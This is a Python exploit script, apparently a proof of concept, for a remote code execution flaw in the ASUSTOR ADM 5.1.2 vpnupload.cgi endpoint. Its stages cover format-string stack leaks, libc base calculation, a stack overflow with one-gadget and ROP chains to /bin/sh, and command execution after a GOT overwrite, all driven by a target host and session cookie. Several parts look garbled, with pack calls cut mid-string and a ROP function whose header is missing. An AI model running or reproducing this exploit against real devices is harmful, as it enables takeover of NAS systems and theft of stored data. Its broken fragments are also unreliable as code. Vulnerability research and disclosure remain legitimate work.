#!/usr/bin/env python3 """ CVE-2026-6643 — ASUSTOR ADM 5.1.2 vpnupload.cgi RCE Exploitation chain: 1. --stage offset : Auto-detect format string argument index on the stack 2. --stage leak : Leak libc pointer from stack, calculate libc base 3. --stage rce : Endpoint buffer overflow → one-gadget → shell 4. --stage shell : Send command after GOT[printf] has been overwritten with system() Binary mitigations (vpnupload.cgi): No PIE | No Canary | No FORTIFY_SOURCE | Partial RELRO (GOT writable) Stack layout (Ghidra): local_ac4 PrivateKey rbp-0xac4 (300B) local_998 Address rbp-0x998 (300B) local_86c PublicKey rbp-0x86c (300B) local_740 ListenPort rbp-0x740 (300B) local_4e8 PresharedKey rbp-0x4e8 (300B) local_3bc AllowedIPs rbp-0x3bc (300B) local_290 PersistentKeepalive rbp-0x290 (300B) local_164 Endpoint rbp-0x164 (300B) <- closest to RIP saved RBP rbp+0x000 (8B) saved RIP rbp+0x008 (8B) <- target Endpoint -> RIP distance: 0x164 + 8 = 364 bytes Null byte constraint: sscanf("%s") stops copying at null bytes. libc addresses (0x7f...) in little-endian end with 2 null bytes. sscanf stops after writing the 6 significant bytes — but bytes 6-7 of the saved RIP slot are already 0x0000 (original return address) -> write succeeds. Usage: uv run exploit.py 192.168.1.1:8000 'Revive_Session=abc123' --stage offset uv run exploit.py 192.168.1.1:8000 'Revive_Session=abc123' --stage leak --fmt-offset 8 uv run exploit.py 192.168.1.1:8000 'Revive_Session=abc123' --stage rce --libc-base 0x7f1234560000 """ import argparse import re import struct import sys import requests TARGET = "http://{host}/portal/apis/settings/vpnupload.cgi?act=upload_wireguard" BOUNDARY = "XBOUND" # -- libc offsets — extract from the firmware's libc.so.6 -------------------- # # How to obtain: # readelf -s libc.so.6 | grep -w system # strings -a -t x libc.so.6 | grep /bin/sh # one_gadget libc.so.6 <- install: gem install one_gadget # # Values below are common glibc 2.31 x86-64 defaults; adjust for your firmware: LIBC_SYSTEM = 0x055410 LIBC_BINSH = 0x1B75AA LIBC_POP_RDI_RET = 0x026B72 # pop rdi; ret (libc gadget, no null bytes) LIBC_RET = 0x026573 # ret (stack alignment) LIBC_ONE_GADGETS = [0xE3AFE, 0xE3B01, 0xE3B04] # Byte distance from start of Endpoint buffer to saved RIP ENDPOINT_TO_RIP = 0x164 + 8 # 364 # -- HTTP transport ------------------------------------------------------------ def _build_conf(privkey="A", address="10.0.0.2/24", endpoint="vpn.test.com:51820", allowedips="0.0.0.0/0", publickey="BBBBBBBB") -> bytes: return ( "[Interface]\n" f"PrivateKey = {privkey}\n" f"Address = {address}\n" "DNS = 1.1.1.1\n\n" "[Peer]\n" f"PublicKey = {publickey}\n" f"AllowedIPs = {allowedips}\n" f"Endpoint = {endpoint}\n" ).encode() def _multipart(conf: bytes) -> tuple[bytes, str]: # Parser requires boundary counter = 2; first part is a dummy section body = ( f"--{BOUNDARY}\r\n" f'Content-Disposition: form-data; name="metadata"; filename="t.conf"\r\n' "\r\ndummy\r\n" f"--{BOUNDARY}\r\n" f'Content-Disposition: form-data; name="file"; filename="t.conf"\r\n' "\r\n" ).encode() + conf + f"\r\n--{BOUNDARY}--\r\n".encode() return body, f"multipart/form-data; boundary={BOUNDARY}" def post(host: str, cookie: str, **fields) -> requests.Response: body, ct = _multipart(_build_conf(**fields)) return requests.post( TARGET.format(host=host), data=body, headers={"Cookie": cookie, "Content-Type": ct}, timeout=15, ) def _echo(response_text: str) -> str | None: m = re.search(r'"clientprivatekey"\s*:\s*"([^"]+)"', response_text) return m.group(1) if m else None # -- Stage 1: Auto-detect format string argument offset ----------------------- def stage_offset(host: str, cookie: str) -> int: """ Send AAAA.%N$x for N=1..50 and find where 0x41414141 appears in the echo. """ print("[*] Detecting format string argument offset...") for n in range(1, 51): resp = post(host, cookie, privkey=f"AAAA.%{n}$x") echo = _echo(resp.text) if echo and "41414141" in echo: print(f"[+] Offset: {n} (echo: {echo[:60]})") return n print("[-] Offset not found — verify cookie is valid") sys.exit(1) # -- Stage 2: Leak libc base -------------------------------------------------- def stage_leak(host: str, cookie: str, fmt_offset: int) -> int: """ Read 40 stack words starting from fmt_offset. Values in the 0x7f... range are libc pointers. Returns the first libc candidate (not the base yet — subtract symbol offset manually). """ count = 40 fmt = ".".join(f"%{fmt_offset + i}$016lx" for i in range(count)) resp = post(host, cookie, privkey=fmt) echo = _echo(resp.text) if not echo: print(f"[-] No echo in response: {resp.text[:300]}") sys.exit(1) words = re.findall(r"[0-9a-f]{16}", echo) print(f"[+] Stack dump (args {fmt_offset}..{fmt_offset + count - 1}):") libc_hits = [] for i, w in enumerate(words): val = int(w, 16) tag = "" if 0x7F000000000000 <= val <= 0x7FFFFFFFFFFF: tag = " <- libc candidate" libc_hits.append((fmt_offset + i, val)) print(f" [{fmt_offset + i:3d}] {hex(val)}{tag}") if not libc_hits: print("[-] No libc pointers found — try increasing count or adjusting fmt_offset") return 0 idx, val = libc_hits[0] print(f"\n[+] Best candidate: arg[{idx}] = {hex(val)}") print(f" Identify the symbol with gdb/readelf, then:") print(f" libc_base = {hex(val)} - ") print(f" Then run: --stage rce --libc-base ") return val # -- Stage 3: RCE via Endpoint overflow --------------------------------------- def stage_rce(host: str, cookie: str, libc_base: int): """ Overflow the Endpoint buffer (local_164, rbp-0x164) to overwrite saved RIP. Payload layout: [364 bytes padding] + [one_gadget address (8 bytes)] ^ libc address = 0x00007f?????????? first 6 bytes are significant, last 2 = 0x0000 sscanf stops at the null bytes, but those bytes were already 0x0000 in saved RIP -> write succeeds one_gadget calls execve("/bin/sh") directly — no argument setup needed. """ print(f"[*] libc base: {hex(libc_base)}") print(f"[*] Endpoint buffer -> RIP offset: {ENDPOINT_TO_RIP} bytes") for og in LIBC_ONE_GADGETS: target = libc_base + og print(f"\n[*] Trying one_gadget +{hex(og)} = {hex(target)}") rip_bytes = struct.pack(" /bin/sh -> ret -> system(). All gadgets come from libc (0x7f... addresses, no embedded null bytes). system() ends with 2 null bytes but is the last value in the chain — sscanf stops there after the write has already completed. Payload layout: [364 bytes padding] <- fills Endpoint buffer + saved RBP [pop rdi; ret] 8B <- overwrites saved RIP (libc addr, no nulls) [/bin/sh addr] 8B <- rdi argument [ret] 8B <- stack alignment [system()] 8B <- last value; trailing null bytes are harmless """ system = libc_base + LIBC_SYSTEM binsh = libc_base + LIBC_BINSH pop_rdi = libc_base + LIBC_POP_RDI_RET ret = libc_base + LIBC_RET print(f"[*] ROP chain:") print(f" pop rdi; ret = {hex(pop_rdi)}") print(f" /bin/sh = {hex(binsh)}") print(f" ret = {hex(ret)}") print(f" system() = {hex(system)}") # padding fills up to saved RIP; ROP chain starts at saved RIP pad_len = ENDPOINT_TO_RIP payload = ( b"A" * pad_len + struct.pack(" sending...") try: resp = post(host, cookie, endpoint=payload.decode("latin-1")) print(f"[+] HTTP {resp.status_code}") except requests.exceptions.ConnectionError: print("[+] Connection reset -> crash or shell spawned") # -- Stage 4: Command execution (requires prior GOT overwrite) ---------------- def stage_shell(host: str, cookie: str, cmd: str): """ Prerequisite: GOT[printf] must already be overwritten with system(). This exploit does not implement the %n GOT overwrite stage; use an external tool (e.g. pwntools) to perform the write first. Once overwritten, printf(user_data) becomes system(user_data). The command is placed in the PrivateKey field. """ print("[!] Prerequisite: GOT[printf] must already point to system()") print(f"[*] Sending command: {cmd}") resp = post(host, cookie, privkey=cmd) print(f"[+] HTTP {resp.status_code}") print(f" {resp.text[:400]}") # -- Banner ------------------------------------------------------------------- def banner(): cyan, reset = "\033[96m", "\033[0m" art = r""" _____ __ __ ______ ___ ___ ___ __ __ __ _ _ ____ / ____|\ \ / /| ____| |__ \ / _ \ |__ \ / / / / / / | || | |___ \ | | \ \ / / | |__ ______ ) || | | | ) | / /_ ______ / /_ / /_ | || |_ __) | | | \ \/ / | __| |______| / / | | | | / / | '_ \ |______|| '_ \ | '_ \ |__ _| |__ < | |____ \ / | |____ / /_ | |_| | / /_ | (_) | | (_) || (_) | | | ___) | \_____| \/ |______| |____| \___/ |____| \___/ \___/ \___/ |_| |____/ """ print(f"{cyan}{art}{reset}") print(" ASUSTOR ADM 5.1.2 vpnupload.cgi") print(" Format String (CWE-134) + Stack Buffer Overflow (CWE-121) -> RCE") print(" by mlgzackfly") print() # -- CLI ---------------------------------------------------------------------- def main(): ap = argparse.ArgumentParser( description="CVE-2026-6643 ASUSTOR ADM 5.1.2 RCE", formatter_class=argparse.RawDescriptionHelpFormatter, epilog="Steps: offset -> leak -> rce (or rce-rop if one_gadget fails)", ) ap.add_argument("host", help="host:port e.g. 192.168.1.1:8000") ap.add_argument("cookie", help="Session cookie e.g. 'Revive_Session=abc123'") ap.add_argument("--stage", choices=["offset", "leak", "rce", "rce-rop", "shell"], default="offset") ap.add_argument("--fmt-offset", type=int, help="Format string argument index (output of --stage offset)") ap.add_argument("--libc-base", type=lambda x: int(x, 0), help="libc base address (calculated from --stage leak)") ap.add_argument("--cmd", default="id", help="Command for --stage shell (default: id)") banner() args = ap.parse_args() if args.stage == "offset": stage_offset(args.host, args.cookie) elif args.stage == "leak": off = args.fmt_offset or stage_offset(args.host, args.cookie) stage_leak(args.host, args.cookie, off) elif args.stage == "rce": if not args.libc_base: ap.error("--libc-base is required") stage_rce(args.host, args.cookie, args.libc_base) elif args.stage == "rce-rop": if not args.libc_base: ap.error("--libc-base is required") stage_rce_rop(args.host, args.cookie, args.libc_base) elif args.stage == "shell": stage_shell(args.host, args.cookie, args.cmd) if __name__ == "__main__": main()